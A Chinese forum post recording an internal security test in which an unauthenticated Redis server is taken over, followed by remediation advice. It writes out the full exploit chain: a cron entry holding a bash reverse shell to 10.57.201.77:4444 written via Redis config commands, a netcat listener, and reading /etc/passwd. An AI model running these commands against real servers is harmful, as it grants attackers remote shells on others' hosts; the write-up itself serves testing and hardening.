数据安全 公司内部Redis未授权访问漏洞导致getshell [复制链接]

技术中心 9861 0 2022-5-27 13:59:25
1. 背景

公司内网危险端口扫描时,发现大量6379开放。redis服务默认端口6379(脑子里要有这个条件反射)。于是有了此文章reids未授权访问漏洞利用记录。

2. 发现与利用

利用对象:192.168.6.38
漏洞利用:redis未授权访问漏洞

流程:

A、telnet 192.168.6.38 6379 尝试端口通不通
B、使用redis-cli工具连接测试存在未授权访问漏洞

C、利用redis中set命令写入一下命令:

1、set xxx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/10.57.201.77/4444 0>&1\n\n"2、config set dir /var/spool/cron3、config set dbfilename root4、save


如下图:

D、使用kali linux(10.57.201.77)接收shell
nc -lvnp 4444
如下图

E、查找主机负责人
cat /etc/passwd
查看公司哪些人登陆过此主机,联系责任人整改;

3. 处置建议:

a、为 Redis 添加密码验证(重启redis才能生效)
修改 redis.conf 文件,添加 requirepass mypassword
(注意redis不要用-a参数,明文输入密码,连接后使用auth认证)
b、限制可连接Redis服务器的IP

点击链接加入我们,易启云防泄密助手,守护数据安全最后一道防线


您需要登录后才可以回帖 立即登录
高级模式
返回
统计信息
  • 会员数: 29041 个
  • 话题数: 9629 篇
  • 巅峰数: 5500 人